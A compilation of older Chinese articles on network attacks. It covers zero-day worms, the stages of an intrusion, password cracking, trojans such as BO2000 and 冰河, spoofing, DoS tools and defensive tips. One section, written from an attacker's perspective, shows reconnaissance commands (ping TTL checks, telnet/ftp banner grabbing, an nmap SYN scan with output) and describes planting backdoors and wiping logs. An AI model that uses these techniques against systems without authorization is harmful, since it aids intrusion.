  .红色代码.蠕虫病毒在因特网上传播的最初九小时内就感染了超过250,000个计算机系统。该感染导致的代价以每天2亿美元飞速增长,最终损失高达26亿美元。.红色代码.,.红色代码II.,及.尼姆达.、.求职信.快速传播的威胁显示出现有的网络防御的严重的局限性。市场上大多数的入侵检测系统是简单的,对网络中新出现的、未知的、通常称做.瞬时攻击:Zero-dayAttack.的威胁没有足够防御手段。
  黑客的.机会之窗.
  目前大多数的入侵检测系统是有局限性的,因为它们使用特征码去进行辨别是否存在攻击行为。这些系统采用这种方式对特定的攻击
模式进行监视。它们基于贮存在其数据库里的识别信息:类似于防病毒软件检查已知病毒的方式。这意味着这些系统只能检测他们已经编入识别程序的特定的攻击。因为.瞬时攻击.是新出现的,尚未被广泛认识,所以在新的特征码被开发出来,并且进行安装和配臵等这些过程之前,它们就能绕过这些安全系统。实际上,仅仅需要对已知的攻击方式进行稍微的修改,这些系统就不会认识这些攻击方式了,从而给入侵者提供了避开基于特征码的防御系统的手段。
  从新的攻击的发动到开发新的特征码的这段时间,是一个危险的.机会之窗.,许多的网络会被攻破。这时候许多快速的入侵工具会被设计开发出来,网络很容易受到攻击。下图举例说明了为什么大多数的安全产品在该时期内实际上是无效的。CERT组织研制的这个图表说明了一个网络攻击的典型的生命周期。该曲线的波峰就在攻击的首次袭击之后,这是大多数安全产品最终开始提供保护的时候。然而.瞬时攻击.是那些最老练的黑客在最早期阶段重点展开的。
  同时,现在那些快速进行的攻击利用了广泛使用的计算机软件中的安全漏洞来造成分布更广的破坏。仅仅使用几行代码,他们就能编写一个蠕虫渗透到计算机网络中,通过共享账号克隆自己,然后开始攻击你的同伴和用户的网络。使用这种方式,在厂商开发出特征码并将其分发到用户的这段时间内,.尼姆达蠕虫.仅仅在美国就传播到了超过100,000的网络站点。这些分发机制使.瞬间攻击.像SirCam和LoveBug两种病毒分别席卷了230万和4000万的计算机,而不需要多少人为干预。其中有些攻击甚至还通过安装一个后门来为以后的
破坏建立基础,该后门允许对手、黑客和其他未获授权的用户访问一个组织重要的数据和网络资源。
 
网络常见攻击技术与防范
一、前言
在网络这个不断更新换代的世界里,网络中的安全漏洞无处不在。即便旧的安全漏洞补上了,新的安全漏洞又将不断涌现。网络攻击正是利用这些存在的漏洞和安全缺陷对系统和资源进行攻击。
  也许有人会对网络安全抱着无所谓的态度,认为最多不过是被攻击者盗用账号,造不成多大的危害。他们往往会认为.安全.只是针对那些大中型企事业单位和网站而言。其实,单从技术上说,黑客入侵的动机是成为目标主机的主人。只要他们获得了一台网络主机的超级用户权限后他们就有可能在该主机上修改资源配臵、安臵.特洛伊.程序、隐藏行踪、执行任意进程等等。我们谁又愿意别人在我们的机器上肆无忌惮地拥有这些特权呢?更何况这些攻击者的动机也不都是那么单纯。因此,我们每一个人都有可能面临着安全威胁,都有必要对网络安全有所了解,并能够处理一些安全方面的问题。
  下面我们就来看一下那些攻击者是如何找到你计算机中的安全漏洞的,并了解一下他们的攻击手法。
  二、网络攻击的步骤
  第一步:隐藏自已的位臵
  普通攻击者都会利用别人的电脑隐藏他们真实的IP地址。老练
的攻击者还会利用800电话的无人转接服务联接ISP,然后再盗用他人的帐号上网。
  第二步:寻找目标主机并分析目标主机
  攻击者首先要寻找目标主机并分析目标主机。在Internet上能真正标识主机的是IP地址,域名是为了便于记忆主机的IP地址而另起的名字,只要利用域名和IP地址就可以顺利地找到目标主机。当然,知道了要攻击目标的位臵还是远远不够的,还必须将主机的操作系统类型及其所提供服务等资料作个全面的了解。此时,攻击者们会使用一些扫描器工具,轻松获取目标主机运行的是哪种操作系统的哪个版本,系统有哪些帐户,WWW、FTP、Telnet、SMTP等服务器程序是何种版本等资料,为入侵作好充分的准备。
  第三步:获取帐号和密码,登录主机
  攻击者要想入侵一台主机,首先要有该主机的一个帐号和密码,否则连登录都无法进行。这样常迫使他们先设法盗窃帐户文件,进行破解,从中获取某用户的帐户和口令,再寻觅合适时机以此身份进入主机。当然,利用某些工具或系统漏洞登录主机也是攻击者常用的一种技法。
  第四步:获得控制权
  攻击者们用FTP、Telnet等工具利用系统漏洞进入目标主机系统获得控制权之后,就会做两件事:清除记录和留下后门。他会更改某些系统设臵、在系统中臵入特洛伊木马或其他一些远程操纵程序,以便日后可以不被觉察地再次进入系统。大多数后门程序是预先编译好
的,只需要想办法修改时间和权限就可以使用了,甚至新文件的大小都和原文件一模一样。攻击者一般会使用rep传递这些文件,以便不留下FTB记录。清除日志、删除拷贝的文件等手段来隐藏自己的踪迹之后,攻击者就开始下一步的行动。
  第五步:窃取网络资源和特权
  攻击者找到攻击目标后,会继续下一步的攻击。如:下载敏感信息;实施窃取帐号密码、信用卡号等经济偷窃;使网络瘫痪。
  三、网络攻击的原理和手法
1、口令入侵
所谓口令入侵是指使用某些合法用户的帐号和口令登录到目的主机,然后再实施攻击活动。这种方法的前提是必须先得到该主机上的某个合法用户的帐号,然后再进行合法用户口令的破译。获得普通用户帐号的方法很多,如:
利用目标主机的Finger功能:当用Finger命令查询时,主机系统会将保存的用户资料(如用户名、登录时间等)显示在终端或计算机上;
利用目标主机的X.500服务:有些主机没有关闭X.500的目录查询服务,也给攻击者提供了获得信息的一条简易途径;
从电子邮件地址中收集:有些用户电子邮件地址常会透露其在目标主机上的帐号;
查看主机是否有习惯性的帐号:有经验的用户都知道,很多系统会使用一些习惯性的帐号,造成帐号的泄露。
这又有三种方法:
  (1)是通过网络监听非法得到用户口令,这类方法有一定的局限性,但危害性极大。监听者往往采用中途截击的方法也是获取用户帐户和密码的一条有效途径。当下,很多协议根本就没有采用任何加密或身份认证技术,如在Telnet、FTP、HTTP、SMTP等传输协议中,用户帐户和密码信息都是以明文格式传输的,此时若攻击者利用数据包截取工具便可很容易收集到你的帐户和密码。还有一种中途截击攻击方法更为厉害,它可以在你同服务器端完成.三次握手.建立连接之后,在通信过程中扮演.第三者.的角色,假冒服务器身份欺骗你,再假冒你向服务器发出恶意请求,其造成的后果不堪设想。另外,攻击者有时还会利用软件和硬件工具时刻监视系统主机的工作,等待记录用户登录信息,从而取得用户密码;或者编制有缓冲区溢出错误的SUID程序来获得超级用户权限。
  (2)是在知道用户的账号后(如电子邮件@前面的部分)利用一些专门软件强行破解用户口令,这种方法不受网段限制,但攻击者要有足够的耐心和时间。如:采用字典穷举法(或称暴力法)来破解用户的密码。攻击者可以通过一些工具程序,自动地从电脑字典中取出一个单词,作为用户的口令,再输入给远端的主机,申请进入系统;若口令错误,就按序取出下一个单词,进行下一个尝试,并一直循环下去,直到找到正确的口令或字典的单词试完为止。由于这个破译过程由计算机程序来自动完成,因而几个小时就可以把上十万条记录的字典里所有单词都尝试一遍。
  (3)是利用系统管理员的失误。在现代的Unix操作系统中,用户的基本信息存放在passwd文件中,而所有的口令则经过DES加密方法加密后专门存放在一个叫shadow的文件中。黑客们获取口令文件后,就会使用专门的破解DES加密法的程序来解口令。同时,由于为数不少的操作系统都存在许多安全漏洞、Bug或一些其他设计缺陷,这些缺陷一旦被找出,黑客就可以长驱直入。例如,让Windows95/98系统后门洞开的BO就是利用了Windows的基本设计缺陷。
2、放臵特洛伊木马程序
特洛伊木马程序可以直接侵入用户的电脑并进行破坏,它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载,一旦用户打开了这些邮件的附件或者执行了这些程序之后,它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中,并在自己的计算机系统中隐藏一个可以在windows启动时悄悄执行的程序。当您连接到因特网上时,这个程序就会通知攻击者,来报告您的IP地址以及预先设定的端口。攻击者在收到这些信息后,再利用这个潜伏在其中的程序,就可以任意地修改你的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等,从而达到控制你的计算机的目的。
3、WWW的欺骗技术
在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问,如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。然而一般的用户恐怕不会想到有这些问题存在:正在访问的网页已经被黑客
篡改过,网页上的信息是虚假的!例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器,当用户浏览目标网页的时候,实际上是向黑客服务器发出请求,那么黑客就可以达到欺骗的目的了。
一般Web欺骗使用两种技术手段,即URL地址重写技术和相关信关信息掩盖技术。利用URL地址,使这些地址都向攻击者的Web服务器,即攻击者可以将自已的Web地址加在所有URL地址的前面。这样,当用户与站点进行安全链接时,就会毫不防备地进入攻击者的服器,于是用记的所有信息便处于攻击者的监视之中。但由于浏览器材一般均设有地址栏和状态栏,当浏览器与某个站点边接时,可以在地址栏和状态样中获得连接中的Web站点地址及其相关的传输信息,用户由此可以发现问题,所以攻击者往往在URLf址重写的同时,利用相关信息排盖技术,即一般用JavaScript程序来重写地址样和状枋样,以达到其排盖欺骗的目的。
4、电子邮件攻击
  电子邮件是互联网上运用得十分广泛的一种通讯方式。攻击者可以使用一些邮件炸弹软件或CGI程序向目的邮箱发送大量内容重复、无用的垃圾邮件,从而使目的邮箱被撑爆而无法使用。当垃圾邮件的发送流量特别大时,还有可能造成邮件系统对于正常的工作反映缓慢,甚至瘫痪。相对于其它的攻击手段来说,这种攻击方法具有简单、见效快等优点。
  电子邮件攻击主要表现为两种方式:
  (1)是电子邮件轰炸和电子邮件.滚雪球.,也就是通常所说的邮件炸弹,指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的垃圾邮件,致使受害人邮箱被.炸.,严重者可能会给电子邮件服务器操作系统带来危险,甚至瘫痪;
  (2)是电子邮件欺骗,攻击者佯称自己为系统管理员(邮件地址和系统管理员完全相同),给用户发送邮件要求用户修改口令(口令可能为指定字符串)或在貌似正常的附件中加载病毒或其他木马程序。
5、通过一个节点来攻击其他节点
  攻击者在突破一台主机后,往往以此主机作为根据地,攻击其他主机(以隐蔽其入侵路径,避免留下蛛丝马迹)。他们可以使用网络监听方法,尝试攻破同一网络内的其他主机;也可以通过IP欺骗和主机信任关系,攻击其他主机。
  这类攻击很狡猾,但由于某些技术很难掌握,如TCP/IP欺骗攻击。攻击者通过外部计算机伪装成另一台合法机器来实现。它能磙坏两台机器间通信链路上的数据,其伪装的目的在于哄骗网络中的其它机器误将其攻击者作为合法机器加以接受,诱使其它机器向他发送据或允许它修改数据。TCP/IP欺骗可以发生TCP/IP系统的所有层次上,包括数据链路层、网络层、运输层及应用层均容易受到影响。如果底层受到损害,则应用层的所有协议都将处于危险之中。另外由于用户本身不直接与底层相互相交流,因而对底层的攻击更具有欺骗
性。
6、网络监听
  网络监听是主机的一种工作模式,在这种模式下,主机可以接收到本网段在同一条物理通道上传输的所有信息,而不管这些信息的发送方和接收方是谁。因为系统在进行密码校验时,用户输入的密码需要从用户端传送到服务器端,而攻击者就能在两端之间进行数据监听。此时若两台主机进行通信的信息没有加密,只要使用某些网络监听工具(如NetXRayforWindows95/98/NT、SniffitforLinux、Solaries等)就可轻而易举地截取包括口令和帐号在内的信息资料。虽然网络监听获得的用户帐号和口令具有一定的局限性,但监听者往往能够获得其所在网段的所有用户帐号及口令。
7、利用黑客软件攻击
  利用黑客软件攻击是互联网上比较多的一种攻击手法。BackOrifice2000、冰河等都是比较著名的特洛伊木马,它们可以非法地取得用户电脑的超级用户级权利,可以对其进行完全的控制,除了可以进行文件操作外,同时也可以进行对方桌面抓图、取得密码等操作。这些黑客软件分为服务器端和用户端,当黑客进行攻击时,会使用用户端程序登陆上已安装好服务器端程序的电脑,这些服务器端程序都比较小,一般会随附带于某些软件上。有可能当用户下载了一个小游戏并运行时,黑客软件的服务器端就安装完成了,而且大部分黑客软件的重生能力比较强,给用户进行清除造成一定的麻烦。特别是最近出现了一种TXT文件欺骗手法,表面看上去是一个TXT文本文
件,但实际上却是一个附带黑客程序的可执行程序(文件合并工具),另外有些程序也会伪装成图片和其他格式的文件。
8、安全漏洞攻击
  许多系统都有这样那样的安全漏洞(Bugs)。其中一些是操作系统或应用软件本身具有的。如缓冲区溢出攻击。由于很多系统在不检查程序与缓冲之间变化的情况,就任意接受任意长度的数据输入,把溢出的数据放在堆栈里,系统还照常执行命令。这样攻击者只要发送超出缓冲区所能处理的长度的指令,系统便进入不稳定状态。若攻击者特别配臵一串准备用作攻击的字符,他甚至可以访问根目录,从而拥有对整个网络的绝对控制权。另一些是利用协议漏洞进行攻击。如攻击者利用POP3一定要在根目录下运行的这一漏洞发动攻击,破坏的根目录,从而获得超级用户的权限。又如,ICMP协议发(如ping)也经常被用于发动拒绝服务攻击。它的具体手法就是向目的服务器发送大量的数据包,几乎占取该服务器所有的网络宽带,从而使其无法对正常的服务请求进行处理,而导致网站无法进入、网站响应速度大大降低或服务器瘫痪。现在常见的蠕虫病毒或与其同类的病毒都可以对服务器进行拒绝服务攻击的进攻。它们的繁殖能力极强,一般通过Microsoft的Outlook软件向众多邮箱发出带有病毒的邮件,而使邮件服务器无法承担如此庞大的数据处理量而瘫痪。对于个人上网用户而言,也有可能遭到大量数据包的攻击使其无法进行正常的网络操作。
  9、端口扫描攻击
  所谓端口扫描,就是利用Socket编程与目标主机的某些端口建
立TCP连接、进行传输协议的验证等,从而侦知目标主机的扫描端口是否是处于激活状态、主机提供了哪些服务、提供的服务中是否含有某些缺陷等等。常用的扫描方式有:Connect()扫描,Fragmentation扫描。
四、攻击者常用的攻击工具
  1、DOS攻击工具:
  如WinNuke通过发送OOB漏洞导致系统蓝屏;Bonk通过发送大量伪造的UDP数据包导致系统重启;TearDrop通过发送重叠的IP碎片导致系统的TCP/IP栈崩溃;WinArp通过发特殊数据包在对方机器上产生大量的窗口;Land通过发送大量伪造源IP的基于SYN的TCP请求导致系统重启动;FluShot通过发送特定IP包导致系统凝固;Bloo通过发送大量的ICMP数据包导致系统变慢甚至凝固;PIMP通过IGMP漏洞导致系统蓝屏甚至重新启动;Jolt通过大量伪造的ICMP和UDP导致系统变的非常慢甚至重新启动。
  2、木马程序
  (1)、BO2000(BackOrifice):它是功能最全的TCP/IP构架的攻击工具,可以搜集信息,执行系统命令,重新设臵机器,重新定向网络的客户端/服务器应用程序。BO2000支持多个网络协议,它可以利用TCP或UDP来传送,还可以用XOR加密算法或更高级的3DES加密算法加密。感染BO2000后机器就完全在别人的控制之下,黑客成了超级用户,你的所有操作都可由BO2000自带的.秘密摄像机.录制成.录像带.。
  (2)、.冰河.:冰河是一个国产木马程序,具有简单的中文使用界面,且只有少数流行的反病毒、防火墙才能查出冰河的存在。冰河的功能比起国外的木马程序来一点也不逊色。它可以自动跟踪目标机器的屏幕变化,可以完全模拟键盘及鼠标输入,即在使被控端屏幕变化和监控端产生同步的同时,被监控端的一切键盘及鼠标操作将反映在控端的屏幕。它可以记录各种口令信息,包括开机口令、屏保口令、各种共享资源口令以及绝大多数在对话框中出现过的口令信息;它可以获取系统信息;它还可以进行注册表操作,包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表操作。
  (3)、NetSpy:可以运行于Windows95/98/NT/2000等多种平台上,它是一个基于TCP/IP的简单的文件传送软件,但实际上你可以将它看作一个没有权限控制的增强型FTP服务器。通过它,攻击者可以神不知鬼不觉地下载和上传目标机器上的任意文件,并可以执行一些特殊的操作。
  (4)、Glacier:该程序可以自动跟踪目标计算机的屏幕变化、获取目标计算机登录口令及各种密码类信息、获取目标计算机系统信息、限制目标计算机系统功能、任意操作目标计算机文件及目录、远程关机、发送信息等多种监控功能。类似于BO2000。
  (5)、KeyboardGhost:Windows系统是一个以消息循环(MessageLoop)为基础的操作系统。系统的核心区保留了一定的字节作为键盘输入的缓冲区,其数据结构形式是队列。键盘幽灵正是通过直接访问这一队列,使键盘上输入你的电子邮箱、代理的账号、密码
Password(显示在屏幕上的是星号)得以记录,一切涉及以星号形式显示出来的密码窗口的所有符号都会被记录下来,并在系统根目录下生成一文件名为KG.DAT的隐含文件。
  (6)、ExeBind:这个程序可以将指定的攻击程序捆绑到任何一个广为传播的热门软件上,使宿主程序执行时,寄生程序也在后台被执行,且支持多重捆绑。实际上是通过多次分割文件,多次从父进程中调用子进程来实现的。
五、网络攻击应对策略
  在对网络攻击进行上述分析与识别的基础上,我们应当认真制定有针对性的策略。明确安全对象,设臵强有力的安全保障体系。有的放矢,在网络中层层设防,发挥网络的每层作用,使每一层都成为一道关卡,从而让攻击者无隙可钻、无计可使。还必须做到未雨稠缪,预防为主,将重要的数据备份并时刻注意系统运行状况。以下是针对众多令人担心的网络安全问题,提出的几点建议
  1、提高安全意识
  (1)不要随意打开来历不明的电子邮件及文件,不要随便运行不太了解的人给你的程序,比如.特洛伊.类黑客程序就需要骗你运行。
  (2)尽量避免从Internet下载不知名的软件、游戏程序。即使从知名的网站下载的软件也要及时用最新的病毒和木马查杀软件对软件和系统进行扫描。
  (3)密码设臵尽可能使用字母数字混排,单纯的英文或者数字很容易穷举。将常用的密码设臵不同,防止被人查出一个,连带到重要
密码。重要密码最好经常更换。
  (4)及时下载安装系统补丁程序。
  (5)不随便运行黑客程序,不少这类程序运行时会发出你的个人信息。
  (6)在支持HTML的BBS上,如发现提交警告,先看源代码,很可能是骗取密码的陷阱。
  2、使用防毒、防黑等防火墙软件。
  防火墙是一个用以阻止网络中的黑客访问某个机构网络的屏障,也可称之为控制进/出两个方向通信的门槛。在网络边界上通过建立起来的相应网络通信监控系统来隔离内部和外部网络,以阻挡外部网络的侵入。
  3、设臵代理服务器,隐藏自已的IP地址。
  保护自己的IP地址是很重要的。事实上,即便你的机器上被安装了木马程序,若没有你的IP地址,攻击者也是没有办法的,而保护IP地址的最好方法就是设臵代理服务器。代理服务器能起到外部网络申请访问内部网络的中间转接作用,其功能类似于一个数据转发器,它主要控制哪些用户能访问哪些服务类型。当外部网络向内部网络申请某种网络服务时,代理服务器接受申请,然后它根据其服务类型、服务内容、被服务的对象、服务者申请的时间、申请者的域名范围等来决定是否接受此项服务,如果接受,它就向内部网络转发这项请求。
  4、将防毒、防黑当成日常例性工作,定时更新防毒组件,将防
毒软件保持在常驻状态,以彻底防毒。
  5、由于黑客经常会针对特定的日期发动攻击,计算机用户在此期间应特别提高警戒。
6、对于重要的个人资料做好严密的保护,并养成资料备份的习惯。
 
黑客破解口令常用的三种方法
通过破解获得系统管理员口令,进而掌握服务器的控制权,是黑客的一个重要手段。破解获得管理员口令的方法有很多,下面是三种最为常见的方法。
  (1)猜解简单口令:很多人使用自己或家人的生日、电话号码、房间号码、简单数字或者身份证号码中的几位;也有的人使用自己、孩子、配偶或宠物的名字;还有的系统管理员使用.password.,甚至不设密码,这样黑客可以很容易通过猜想得到密码。
  (2)字典攻击:如果猜解简单口令攻击失败后,黑客开始试图字典攻击,即利用程序尝试字典中的单词的每种可能。字典攻击可以利用重复的登录或者收集加密的口令,并且试图同加密后的字典中的单词匹配。黑客通常利用一个英语词典或其他语言的词典。他们也使用附加的各类字典数据库,比如名字和常用的口令。
(3)暴力猜解:同字典攻击类似,黑客尝试所有可能的字符组合方式。一个由4个小写字母组成的口令可以在几分钟内被破解,而一个较长的由大小写字母组成的口令,包括数字和标点,其可能的组合
达10万亿种。如果每秒钟可以试100万种组合,可以在一个月内破解。
 
谈黑客攻击前的试探技巧
对操作系统的认识,对于每一个从事计算机行业的人都是非常重要,要成为一名黑客更是要对操作系统有深入、深刻的认识。下面就和大家一起来探讨一下这方面的问题。
  我们先来看分析一下一个黑客入侵的基本过程:1、判断入侵对象的操作系统—>2、描扫端口,判断开放了那些服务(这两步有可能同时进行)—>3、跟据操作系统和所开放的服务选择入侵方法,通常有.溢出.和.弱口猜测.两种方法—>4、获得系统的最高权力—>5、安放后门、清除日志走人(也许有格盘走人的)。
  由上面可以知道,在整个过程当中对操作系统类型的判断识别是最基本也是很关系的一步。可想而知,如果你连对方的操作系统是什么都不知道,要想入侵跟本无从谈起。
  也许很少人问过自己,我们为什么要先了解对方的操作系统呢?其实,我们了解操作系统的原因是因为我们要了解系统内存的工作况态,了解它是以什么方式,基于什么样的技术来控制内存,以及怎么样来处理输入与输出的数据的。世上任何东西都不可能是尽善尽美的(当然这也是我们人类不断追求的动力所在),作为复杂的计算机系统更如此,它在控制内存与处理数据的过程中总是有可能出错的(特别是在安装了其它的应用程序以后),系统本身也会存在各种各样的
弱点与不足之处。黑客之所以能够入侵,就是利用了这些弱点与错误。现在网上流行的各种各样的入侵工具,都是黑客在分析了系统的弱点及存在的错误之后编写出来的。(其中以.缓冲区溢出.最为常见)。
  作为一般的黑客,我们只要善于使用现成的入侵工具,就可以达到我们入侵的目的。但是因为不同的系统,其工作原理不一样,所以不同的入侵工具只能针对相应的操作系统。因此,对操作系统的识别是必不可少的,这就需要我们对操作系统有相当的了解,对网络有一定的基础知识(要作黑客还是不那么容易的),关于各类操作系统的介绍,在网上有成堆的文章,大家可以自己去查阅。
  在此介绍一此简单的操作系统识别方法给大家,希望对大家有用。
  一、用ping来识别操作系统
C:\>ping 10.1.1.2
Pinging 10.1.1.2 with32bytesofdata:
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Ping statistics for 10.1.1.2:
Packets:Sent=4,Received=4,Lost=0(0%loss),
Approximate round trip times in milli-seconds:
Minimum=0ms,Maximum=0ms,Average=0ms
C:\>
C:\>ping 10.1.1.6
Pinging 10.1.1.6 with 32 bytes of data:
Request timed out.
Reply from10.1.1.6: bytes=32 time=250ms TTL=237
Reply from10.1.1.6: bytes=32 time=234ms TTL=237
Reply from10.1.1.6: bytes=32 time=234ms TTL=237
Ping statistics for 10.1.1.6:
Packets:Sent=4,Received=3,Lost=1(25%loss),
Approximate round trip times in milli-seconds:
Minimum=234ms,Maximum=250ms,Average=179ms
  我们跟据ICMP报文的TTL的值,我们就可以大概知道主机的类型。如:TTL=125左右的主机应该是windows系列的机子,TTL=235左右的主机应该是UINX系列的机子。如上面的两个例子,10.1.1.2就是win2000的机子,而10.1.1.6则是UINX(Sunos5.8)的机子。这是因为不同操作系统的机子对ICMP报文的处理与应答是有所不同的,TTL值每过一个路由器会减1。所以造成了TTL回复值的不同。对于TTL值与操作系统类型的对应,还要靠大家平时多注意观察和积累。
  二、直接通过联接端口根据其返回的信息
  这种方法应该说是用得最多的一种方法,下面我们来看几个实例。
  1、如果机子开了80端口,我们可以telnet(当然如果有NC最好用NC,它可以不用盲打)它的80端口。
Microsoft Windows2000[Version5.00.2195]
(C)版权所有1985-1998MicrosoftCorp.
C:\>telnet 10.1.1.2 80
输入get回车(注意这里是盲打)
如果返回
HTTP/1.1 400 Bad Request
Server:Microsoft-IIS/5.0
Date:Fri,11Jul200302:31:55GMT
Content-Type:text/html
Content-Length:87
The parameter is incorrect.
遗失对主机的连接。
C:\>
那么这台就肯定是windows的机子。
如果返回
Method Not Implemented
getto/not
supported.
Invalid method in request get
Apache/1.3.27 Server at gosiuniversity.com Port 80
遗失对主机的连接。
C:\>
那么多数就是UINX系统的机子了。
  2、如果机子开了21端口,我们可以直接FTP上去
C:\>ftp 10.1.1.2
如果返回
Connected to 10.1.1.2.
220 sgyyq-c43s950 Microsoft FTPService(Version5.0).
User(10.1.1.2 none):
那么这就肯定是一台win2000的机子了,我们还可以知道主机名呢,主机名就是sgyyq-c43s950。这个FTP是windows的IIS自带的一个FTP服务器。
如果返回
Connected to10.1.1.3.
220 Serv-UFTP Server v4.0 for WinSock ready...
User(10.1.1.3 none):
也可以肯定它是windows的机子,因为Serv-UFTP是一个专为windows平台开发的FTP服务器。
如果返回
Connected to 10.1.1.3.
220 ready,dude(vsFTPd 1.1.0:beatme,breakme)
User(10.1.1.3 none):
那么这就是一台UINX的机子了。
  3.如果开了23端口,这个就简单了,直接telnet上去。
如果返回
Microsoft(R) Windows(TM) Version5.00(Build2195)
Welcome to Microsoft Telnet Service
Telnet Server Build5.00.99201.1
login:
  那么这肯定是一台windows的机子了
如果返回
SunOS5.8
login:
  不用说了,这当然是一台UINX的机子了,并且版本是SunOS5.8的。
三、利用专门的软件来识别
  这种有识别操作系统功能的软件,多数采用的是操作系统协议栈识别技术。这是因为不同的厂家在编写自己操作系统时,TCP/IP协议虽然是统一的,但对TCP/IP协议栈是没有做统一的规定的,厂家可以按自己的要求来编写TCP/IP协议栈,从而造成了操作系统之间协议栈的不同。因此我们可以通过分析协议栈的不同来区分不同的操作系统,只要建立起协议栈与操作系统对应的数据库,我们就可以准确的识别操作系统了。目前来说,用这种技术识别操作系统是最准确,也是最科学的。因此也被称为识别操作系统的.指纹技术.。当然识
别的能力与准确性,就要看各软件的数据库建立情况了。
  下面是简单介绍两款有识别功能的软件。
  1、著名的nmap,它采用的是主动式探测,探测时会主动向目标系统发送探测包,根据目标目标机回应的数据包来判断对方机的操作系统。用法如下:
F:\nmap>nmap -vv -sS -O 10.1.1.5
Starting nmap V.3.00
HostIS~123456ADCD(10.1.1.5) appears to be up...good.
Initiating SYN Stealth Scan against IS~123456ADCD (10.1.1.5)
Adding open port 139/tcp
Adding open port 7070/tcp
Adding open port 554/tcp
Adding open port 23/tcp
Adding open port 1025/tcp
Adding open port 8080/tcp
Adding open port 21/tcp
Adding open port 5050/tcp
Adding open port 9090/tcp
Adding open port 443/tcp
Adding open port 135/tcp
Adding open port 1031/tcp
Adding open port 3372/tcp
Adding open port 25/tcp
Adding open port 1433/tcp
Adding open port 3389/tcp
Adding open port 445/tcp
Adding open port 80/tcp
The SYN Stealth Scan took 1second to scan 1601ports.
For OS Scan assuming that port 21 is open and port 1 is closed and neither arrewalled
Interesting ports on IS~123456 ADCD(10.1.1.5):
(The 1583 ports scanned but not shown below are instate:closed)
Port State Service
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
554/tcp open rtsp
1025/tcp open NFS-or-IIS
1031/tcp open iad2
1433/tcp open ms-sql-s
3372/tcp open msdtc 远程桌面
3389/tcp open ms-term-serv
5050/tcp open mmcc
7070/tcp open realserver
8080/tcp open http-proxy
9090/tcp open zeus-admin
Remote operating system guess:Windows2000/XP/ME
OS Finger print:
TSeq(Class=RI% gcd=1% SI=21F8%IPID=I%TS=0)
T1(Resp=Y%DF=Y%W=FAF0%ACK=S++%Flags=AS%Ops=MNWNNT)
T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
T3(Resp=Y%DF=Y%W=FAF0%ACK=S++%Flags=AS%Ops=MNWNNT)
T4(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
PU(Resp=Y%DF=N%TOS=0%IPLEN=38%RIPTL=148%RIPCK=E%UCK=E%ULEN=134%DAT=E)
TCP Sequence Prediction:Class=random positive increments
Difficulty=8696(Worthy challenge)
TCP ISN Seq.Numbers:5B9022E25B914E125B92A4955B93915A5B94A9B55B95CC64 IPIDSequenceGeneration:Incremental Nmap run completed--1IPaddress(1 host up) scanned in 2 seconds
  其中Remote operating system guess:Windows2000/XP/ME这行就是NMAP对操作系统类型的判断。还返回了好多信息,NMAP不愧为扫描之王。
  2、天眼,采用的是被动式的探测方法。不向目标系统发送数据包,只是被动地探测网络上的通信数据,通过分析这些数据来判断操作系统的类型。配合supersan使用,较果很好。
  具体的使用方法,在此就不具体介绍了。有兴趣的的朋友可以到网上搜一下关于天眼使用方法的文章,会有很多的。
以上讲解了一些对操作系统识别的基本方法。由于本人水平有限,不当之处,还请高手斧正!
 
经典黑客远程网络攻击过程
  一、锁定目标
  Internet上每一台主机都有一个符合自己的名字,就像每个人都有一个合适得称呼一样,称做域名;然而一个人可能会有几个名字,域名的定义也会有同样的情况,在INTERNET上能真正标识主机的是IP地址,域名只是用IP指定的主机用于好记的而起的名字。当然
利用域名和IP地址都可以顺利找到主机(除非你的网络不通)。
  要攻击谁首先要确定目标,就是要知道这台主机的域名或者IP地址,例如:yahoo.com、1.1.1.1等。知道了要攻击目标的位臵还很不够,还需要了解系统类型、操作系统、提供服务等全面的资料,才能做到.知己知彼,百战不怠.,如何获取相关信息,下面我们将详细介绍,如果对网络域名和IP地址不清楚的,赶紧翻一下手头的书吧!并且现在练习一下PING命令吧!相信在实战中会用得到!有什么用?如果PING目标主机返回时间太长或你根本PING不通目标主机,你如何继续呢!(目标不在你的射程之内)
  二、服务分析
  INTERNET上的主机大部分都提供WWW、MAIL、FTP、BBS等网络信息服务,基本每一台主机都同时提供几种服务,一台主机为何能够提供如此多的服务呢?UNIX系统是一种多用户多任务的系统,将网络服务划分许多不同的端口,每一个端口提供一种不同服务,一个服务会有一个程序时刻监视端口活动,并且给予应有的应答。并且端口的定义已经成为了标准,例如:FTP服务的端口是21,TELENT服务的端口是23,WWW服务的端口是80等,如果还想了解更多请进行下面的步骤:进入MS-DOS PROMPT C:\WINDOWS>edit services(回车)慢慢阅读吧!不过很多的端口都没有什么用,不必把它们都记住!
  我们如何知道目标主机提供了什么服务呢?很简单用用于不同服务的应用程序试一试就知道了,例如:使用TELNET、FTP等用户
软件向目标主机申请服务,如果主机有应答就说明主机提供了这个服务,开放了这个端口的服务,但我们现在只需知道目标主机的服务端口是否是.活.的,不过这样试比较麻烦并且资料不全,我会经常使用一些象PORTSCAN这样的工具,对目标主机一定范围的端口进行扫描。这样可以全部掌握目标主机的端口情况。现在介绍一个好工具,缺少好工具,就不能顺利完成工作。HAKTEK是一个非常实用的一个工具软件,它将许多应用集成在一起的工具,其中包括:PING、IP范围扫描、目标主机端口扫描、邮件炸弹、过滤邮件、FINGER主机等都是非常实用的工具。
